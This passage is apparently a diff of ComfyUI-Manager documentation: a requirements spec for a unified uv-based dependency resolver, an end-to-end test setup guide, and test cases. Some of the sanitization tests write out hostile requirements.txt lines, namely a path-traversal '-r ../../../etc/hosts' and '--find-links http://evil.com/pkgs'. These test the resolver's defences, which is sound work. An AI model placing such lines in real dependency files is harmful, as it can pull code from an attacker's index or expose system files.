4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
|
||||
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
|
||||
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
|
||||
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
|
||||
|
||||
**`execute_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
|
||||
- `install.py` execution still runs immediately
|
||||
|
||||
**`execute_lazy_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
|
||||
- `install.py` execution still runs
|
||||
|
||||
**Windows-specific behavior:**
|
||||
- Windows lazy install path also benefits from startup batch resolution
|
||||
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
|
||||
|
||||
---
|
||||
|
||||
## 4. Non-functional Requirements
|
||||
|
||||
| Item | Requirement |
|
||||
|------|-------------|
|
||||
| **Performance** | Equal to or faster than existing individual installs |
|
||||
| **Stability** | Must not break the existing environment |
|
||||
| **Logging** | Log progress and results at each step (details below) |
|
||||
| **Error recovery** | Fallback to existing pip method on failure |
|
||||
| **Testing** | Unit test coverage above 80% |
|
||||
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
|
||||
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
|
||||
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
|
||||
|
||||
### Logging Requirements
|
||||
|
||||
| Step | Log Level | Content |
|
||||
|------|-----------|---------|
|
||||
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
|
||||
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
|
||||
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
|
||||
| `--index-url` detection | `INFO` | Detected additional index URL list |
|
||||
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
|
||||
| uv compile success | `INFO` | Pinned package count, elapsed time |
|
||||
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
|
||||
| Install start | `INFO` | Number of packages to install |
|
||||
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
|
||||
| Install failure | `WARNING` | Failed package list, fallback transition notice |
|
||||
| Fallback transition | `WARNING` | Transition reason, original error message |
|
||||
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
|
||||
|
||||
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
|
||||
|
||||
---
|
||||
|
||||
## 5. Usage Scenarios
|
||||
|
||||
### Scenario 1: Single Node Pack Installation (unified mode)
|
||||
```
|
||||
User requests installation of node pack X
|
||||
→ Git clone / download node pack X
|
||||
→ Run X's install.py (if exists) — immediately
|
||||
→ Skip per-node pip install (deps deferred)
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
|
||||
→ uv pip compile resolves fully compatible versions
|
||||
→ uv pip install -r for batch installation
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
|
||||
```
|
||||
User requests installation of node packs X, Y, Z
|
||||
→ Each node pack: git clone + install.py — immediately
|
||||
→ Per-node pip install skipped for all
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
|
||||
→ Single uv pip compile → single uv pip install -r
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 3: Dependency Resolution Failure (Edge Case)
|
||||
```
|
||||
Even pre-validated lists may fail due to uv version differences or platform issues
|
||||
→ uv pip compile failure → return conflict report
|
||||
→ Display conflict details to user
|
||||
→ Auto-execute existing pip fallback
|
||||
```
|
||||
|
||||
### Scenario 4: uv Not Installed
|
||||
```
|
||||
uv unavailable detected → auto-fallback to existing pip method
|
||||
→ Display uv installation recommendation to user
|
||||
```
|
||||
|
||||
### Scenario 5: Windows Lazy Installation (unified mode)
|
||||
```
|
||||
Node pack installation requested on Windows
|
||||
→ Node pack install deferred to startup (existing lazy mechanism)
|
||||
→ On next ComfyUI startup: unified resolver runs first (batch deps)
|
||||
→ execute_lazy_install_script() skips per-node pip (already resolved)
|
||||
→ install.py still runs per node pack
|
||||
```
|
||||
|
||||
### Scenario 6: Malicious/Non-standard requirements.txt
|
||||
```
|
||||
Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
|
||||
→ Sanitization filter rejects the line
|
||||
→ Log rejection reason and continue processing remaining valid packages
|
||||
→ Notify user of rejected item count
|
||||
```
|
||||
|
||||
### Scenario 7: Concurrent Install Requests (unified mode)
|
||||
```
|
||||
User requests installation of node packs A and B nearly simultaneously from UI
|
||||
→ Each request: git clone + install.py immediately, deps skipped
|
||||
→ On restart: single unified resolver run handles both A and B deps together
|
||||
→ No concurrency issue (single batch at startup)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Success Metrics
|
||||
|
||||
| Metric | Target |
|
||||
|--------|--------|
|
||||
| Dependency conflict reduction | 90%+ reduction compared to current |
|
||||
| Install success rate | 99%+ (for compatibility-verified lists) |
|
||||
| Performance | Equal to or better than existing individual installs |
|
||||
| Adoption rate | 50%+ of eligible users |
|
||||
|
||||
---
|
||||
|
||||
## 7. Future Extensions
|
||||
|
||||
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
|
||||
- Lockfile caching: Reuse for identical node pack configurations
|
||||
- Pre-install dependency conflict validation API: Check compatibility before installation
|
||||
- Dependency tree visualization: Display dependency relationships to users
|
||||
- `uv lock`-based cross-platform lockfile support (TOML format)
|
||||
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
|
||||
- `pip_install()` integration: Route UI direct installs through unified resolver
|
||||
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Install Path Mapping
|
||||
|
||||
> This section is reference material to clarify the unified resolver's scope of application.
|
||||
|
||||
| Install Path | Location | v1 Applied | Notes |
|
||||
|-------------|----------|------------|-------|
|
||||
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
|
||||
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
|
||||
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
|
||||
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
|
||||
| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
|
||||
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
|
||||
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
|
||||
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
|
||||
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
|
||||
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
|
||||
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
|
||||
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
|
||||
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
|
||||
@@ -1,194 +0,0 @@
|
||||
# Test Environment Setup
|
||||
|
||||
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
|
||||
|
||||
## Automated Setup (Recommended)
|
||||
|
||||
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
|
||||
|
||||
```bash
|
||||
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
|
||||
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
|
||||
bash tests/e2e/scripts/setup_e2e_env.sh
|
||||
|
||||
# 2. Start: launches ComfyUI in background, blocks until ready
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
|
||||
|
||||
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
|
||||
|
||||
# 4. Cleanup
|
||||
rm -rf /tmp/e2e_test
|
||||
```
|
||||
|
||||
### Script Details
|
||||
|
||||
| Script | Purpose | Input | Output |
|
||||
|--------|---------|-------|--------|
|
||||
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
|
||||
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
|
||||
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
|
||||
|
||||
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
|
||||
|
||||
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+
|
||||
- Git
|
||||
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
|
||||
|
||||
## Manual Setup (Reference)
|
||||
|
||||
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
|
||||
|
||||
### 1. ComfyUI Clone
|
||||
|
||||
```bash
|
||||
COMFY_ROOT=$(mktemp -d)/ComfyUI
|
||||
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
|
||||
cd "$COMFY_ROOT"
|
||||
```
|
||||
|
||||
### 2. Virtual Environment
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
uv venv .venv
|
||||
source .venv/bin/activate # Linux/macOS
|
||||
# .venv\Scripts\activate # Windows
|
||||
```
|
||||
|
||||
### 3. ComfyUI Dependencies
|
||||
|
||||
```bash
|
||||
# GPU (CUDA)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
|
||||
|
||||
# CPU only (lightweight, for functional testing)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
|
||||
```
|
||||
|
||||
### 4. ComfyUI-Manager Install (Development)
|
||||
|
||||
```bash
|
||||
# MANAGER_ROOT = comfyui-manager-draft4 repository root
|
||||
MANAGER_ROOT=/path/to/comfyui-manager-draft4
|
||||
|
||||
# Editable install from current source
|
||||
uv pip install -e "$MANAGER_ROOT"
|
||||
```
|
||||
|
||||
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
|
||||
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
|
||||
|
||||
### 5. Symlink Manager into custom_nodes
|
||||
|
||||
```bash
|
||||
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
|
||||
```
|
||||
|
||||
### 6. Write config.ini
|
||||
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/user/__manager"
|
||||
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
|
||||
[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
EOF
|
||||
```
|
||||
|
||||
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
|
||||
|
||||
### 7. HOME Isolation
|
||||
|
||||
```bash
|
||||
export HOME=/tmp/e2e_home
|
||||
mkdir -p "$HOME/.config" "$HOME/.local/share"
|
||||
```
|
||||
|
||||
### 8. ComfyUI Launch
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
|
||||
```
|
||||
|
||||
| Flag | Purpose |
|
||||
|------|---------|
|
||||
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
|
||||
| `--cpu` | Run without GPU (for functional testing) |
|
||||
| `--port 8199` | Use non-default port to avoid conflicts |
|
||||
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
|
||||
| `--listen` | Allow remote connections (optional) |
|
||||
|
||||
### Key Directories
|
||||
|
||||
| Directory | Path | Description |
|
||||
|-----------|------|-------------|
|
||||
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
|
||||
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
|
||||
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
|
||||
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
|
||||
|
||||
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
|
||||
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
### Startup Sequence
|
||||
|
||||
When Manager loads successfully, the following log lines appear:
|
||||
|
||||
```
|
||||
[PRE] ComfyUI-Manager # prestartup_script.py executed
|
||||
[START] ComfyUI-Manager # manager_server.py loaded
|
||||
```
|
||||
|
||||
The `Blocked by policy` message for Manager in custom_nodes is **expected** — `should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
|
||||
|
||||
---
|
||||
|
||||
## Caveats & Known Issues
|
||||
|
||||
### PYTHONPATH for `comfy` imports
|
||||
|
||||
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
|
||||
|
||||
```bash
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
|
||||
```
|
||||
|
||||
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
|
||||
|
||||
### config.ini path
|
||||
|
||||
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
|
||||
|
||||
### Manager v4 endpoint prefix
|
||||
|
||||
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
|
||||
|
||||
### `Blocked by policy` is expected
|
||||
|
||||
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
|
||||
|
||||
### Bash `((var++))` trap
|
||||
|
||||
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
|
||||
|
||||
### `git+https://` URLs in requirements.txt
|
||||
|
||||
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
|
||||
|
||||
---
|
||||
|
||||
## Cleanup
|
||||
|
||||
```bash
|
||||
deactivate
|
||||
rm -rf "$COMFY_ROOT"
|
||||
```
|
||||
@@ -1,788 +0,0 @@
|
||||
# Test Cases: Unified Dependency Resolver
|
||||
|
||||
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
|
||||
|
||||
## Enabling the Resolver
|
||||
|
||||
Add the following to `config.ini` (in the Manager data directory):
|
||||
|
||||
```ini
|
||||
[default]
|
||||
use_unified_resolver = true
|
||||
```
|
||||
|
||||
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
|
||||
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
|
||||
|
||||
## API Reference (for Runtime Tests)
|
||||
|
||||
Node pack installation at runtime uses the task queue API:
|
||||
|
||||
```
|
||||
POST http://localhost:8199/v2/manager/queue/task
|
||||
Content-Type: application/json
|
||||
```
|
||||
|
||||
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
|
||||
|
||||
**Payload** (`QueueTaskItem`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `ui_id` | string | Unique task identifier (any string) |
|
||||
| `client_id` | string | Client identifier (any string) |
|
||||
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
|
||||
| `params` | object | Operation-specific parameters (see below) |
|
||||
|
||||
**Install params** (`InstallPackParams`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
|
||||
| `version` | string | Required by model. Set to same value as `selected_version`. |
|
||||
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
|
||||
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
|
||||
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
|
||||
|
||||
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
|
||||
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
|
||||
> installs use per-node pip via `legacy/manager_core.py`.
|
||||
|
||||
---
|
||||
|
||||
## Out of Scope (Deferred)
|
||||
|
||||
The following are intentionally **not tested** in this version:
|
||||
|
||||
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
|
||||
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
|
||||
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
|
||||
|
||||
## CLI E2E Tests (`cm_cli uv-compile`)
|
||||
|
||||
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
|
||||
the E2E environment from `setup_e2e_env.sh` are needed.
|
||||
|
||||
**Common setup**:
|
||||
```bash
|
||||
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
|
||||
export COMFYUI_PATH="$E2E_ROOT/comfyui"
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-1: Normal Batch Resolution [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a test node pack with a simple dependency:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
|
||||
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- `chardet` is importable: `$VENV_PY -c "import chardet"`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-2: No Custom Node Packs [P1]
|
||||
|
||||
**Steps**:
|
||||
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
|
||||
or empty dirs may remain)
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-3: uv Unavailable [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a temporary venv **without** uv:
|
||||
```bash
|
||||
python3 -m venv /tmp/no_uv_venv
|
||||
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
|
||||
```
|
||||
2. Ensure no standalone `uv` in PATH:
|
||||
```bash
|
||||
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
|
||||
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `uv is not available`
|
||||
|
||||
**Cleanup**: `rm -rf /tmp/no_uv_venv`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-4: Conflicting Dependencies [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create two node packs with conflicting pinned versions:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
|
||||
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
|
||||
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `Resolution failed`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-5: Dangerous Pattern Skip [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a node pack mixing valid and dangerous lines:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
|
||||
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
|
||||
chardet>=5.0
|
||||
-r ../../../etc/hosts
|
||||
--find-links http://evil.com/pkgs
|
||||
requests>=2.28
|
||||
EOF
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
|
||||
- `chardet` and `requests` are importable
|
||||
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-6: install --uv-compile Single Pack [P0]
|
||||
|
||||
**Steps**:
|
||||
1. In clean E2E environment, install a single node pack:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Per-node pip install does NOT run (no `Install: pip packages` in output)
|
||||
- `install.py` still executes
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
|
||||
|
||||
**Steps**:
|
||||
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
|
||||
- Batch resolution runs once (not twice) after all installs complete
|
||||
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
|
||||
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
|
||||
- Previously installed deps (from step 1) remain intact
|
||||
|
||||
---
|
||||
|
||||
## Test Fixture Setup
|
||||
|
||||
Each TC that requires node packs should use isolated, deterministic fixtures:
|
||||
|
||||
```bash
|
||||
# Create test node pack
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
|
||||
|
||||
# Cleanup after test
|
||||
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
```
|
||||
|
||||
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
|
||||
|
||||
---
|
||||
|
||||
## TC-1: Normal Batch Resolution [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
|
||||
|
||||
**Steps**:
|
||||
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
|
||||
2. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
|
||||
|
||||
---
|
||||
|
||||
## TC-2: Disabled State (Default) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Verify**: No `[UnifiedDepResolver]` log output at all
|
||||
|
||||
---
|
||||
|
||||
## TC-3: Fallback When uv Unavailable [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
|
||||
|
||||
**Steps**:
|
||||
1. Create a venv **without** uv installed (`uv` package not in venv)
|
||||
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
|
||||
3. Start ComfyUI
|
||||
|
||||
```bash
|
||||
# Reliable uv removal: both module and binary must be absent
|
||||
uv pip uninstall uv
|
||||
# Verify neither path works
|
||||
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
|
||||
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Subsequent node pack installations use per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-4: Fallback on Compile Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
|
||||
|
||||
**Steps**:
|
||||
1. Node pack A `requirements.txt`: `numpy==1.24.0`
|
||||
2. Node pack B `requirements.txt`: `numpy==1.26.0`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-5: Fallback on Install Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
|
||||
|
||||
**Steps**:
|
||||
1. Create node pack with `requirements.txt`: `numpy<2`
|
||||
2. Force install failure by making the venv's `site-packages` read-only:
|
||||
```bash
|
||||
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
3. Start ComfyUI
|
||||
4. After test, restore permissions:
|
||||
```bash
|
||||
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
